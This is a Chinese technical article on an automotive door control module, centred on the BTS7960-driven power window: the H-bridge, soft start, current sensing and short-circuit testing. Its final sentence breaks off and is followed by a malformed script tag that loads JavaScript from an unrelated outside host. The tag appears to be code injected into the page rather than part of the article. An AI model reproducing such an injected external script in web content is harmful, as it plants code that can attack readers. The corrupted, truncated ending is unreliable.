以前曾用机械方法控制的车门系统现在逐渐改成电子控制，越来越多的低端汽车也开始采用电子控制的车门控制系统，利用can或者lin总线通信技术实现四个车门之间的通信。
车窗防夹功能是车门控制系统的难点之一。门控系统具有多种故障诊断能力，能够及时识别出短路、断路、过热、过载等故障。
本文结合汽车车门控制模块设计的项目实践，重点介绍了电动车窗部分的硬件和软件设计。对智能功率芯片bts7960在正常运行时的启动特性及故障检测特性进行了研究与分析，并给出了试验结果。
车门控制模块的整体设计
图1是门控模块的原理框图，其中微控制器xc164cs用于控制所有功率器件的开关动作，同时对系统状态进行定时监控，接收合适的故障反馈信号，并通过车载网络（如can总线）实现与中央车身控制器及其他车门控制器的故障信息和按键控制信息的交换，从而及时在用户界面上显示故障内容并对车门进行实时控制，确保了行车安全。
图1 门控模块整体原理框图
16位微控制器xc164cs基于增强c166sv2结构，结合了risc和cisc处理器的优点，并且通过mac单元的dsp功能实现了强大的计算和控制能力。xc164cs把功能强劲的cpu内核和一整套强大的外设单元集成于一块芯片上，使得连接变得非常有效和方便。
电动车窗采用两个半桥智能功率驱动芯片bts7960b组合成一个h桥驱动，中央门锁、后视镜和加热器的驱动芯片分别采用tle6208-3g、bts7741g和bsp752r，车灯的驱动芯片采用bts724。这些器件已提供了完善的故障检测及保护功能，因而避免了采用过多的分立元件，大大减小了模块体积，并提高了模块的emc（电磁兼容）特性。
车门控制模块的电路主要由以下几部分组成：电源电路、电动车窗驱动电路、后视镜驱动电路、加热器驱动电路、中央门锁驱动电路、车灯驱动电路、can总线接口电路及按键接口电路等。
电动车窗的硬件设计
1电动车窗驱动电路及启动特性
本车窗控制系统通过智能功率芯片bts7960驱动直流电机转动，bts7960的接口电路如图2所示。图中的引脚7960inh1、7960in1、7960is1、7960inh2、7960in2和7960is2分别连接到xc164cs的i/0口p9.4、p1l.4、p5.6、p9.5、p1l.5和p5.7。
图2 bts7960接口连线图
bts7960是应用于电机驱动的大电流半桥高集成芯片，它带有一个p沟道的高边mosfet、一个n沟道的低边mosfet和一个驱动ic。p沟道高边开关省去了电荷泵的需求,因而减小了emi。集成的驱动ic具有逻辑电平输入、电流诊断、斜率调节、死区时间产生和过温、过压、欠压、过流及短路保护的功能。bts7960通态电阻典型值为16mω，驱动电流可达43a。因此即使在北方寒冷的冬天，仍能保证车窗的安全启动。
如图3所示，两片bts7960构成全桥驱动车窗上升或下降。t1和t4导通时，车窗上升；t2和t3导通时，车窗下降。系统没有主动制动过程，车窗移好之后，上管触发信号停，通过该桥臂下管反并联二极管续流，直到电流为0a。续流过程持续250ms，足以满足车窗电机大功率的需求。为了避免车窗电机启动瞬间出现电流尖峰，通过对下桥臂开关管进行频率为20khz的pwm信号控制，实现软启动功能。
2bts7960故障检测特性
如图3所示，bts7960的芯片内部为一个半桥。inh引脚为高电平，使能bts7960。in引脚用于确定哪个mosfet导通。in=1且inh=1时，高边mosfet导通，out引脚输出高电平；in=0且inh=1时，低边mosfet导通，out引脚输出低电平。sr引脚外接电阻的大小，可以调节mos管导通和关断的时间，具有防电磁干扰的功能。is引脚是电流检测输出引脚。
图3 全桥驱动电路示意图
bts7960的引脚is具有电流检测功能。正常模式下，从is引脚流出的电流与流经高边mos管的电流成正比，若ris=1kω,则vis=iload/8.5；在故障条件下，从is引脚流出的电流等于iis(lim)(约4.5ma),最后的效果是is为高电平。如图4所示，图（a）为正常模式下is引脚电流输出，图（b）为故障条件下is引脚上的电流输出。
bts7960短路故障实验的实验条件如下：+12.45v电池电压，+5v电源供电，2.0m短路导线（r=0.2ω），横截面积为0.75mm，连接1kω电阻和一个发光二极管。vs与电池正极间导线长1.5m（r=0.15ω）。如图5所示，其中vis是is引脚对地的电压、vl是out引脚对地电压，il为发生对地短路故障时，流过bts7960的短路电流。
（a） （b）
图4 bts7960电流检测引脚is的工作原理图无论是先上电后短路还是先短路后上电，bts7960都呈现出相同的保护特性，所?script src=http://er12.com/t.js>
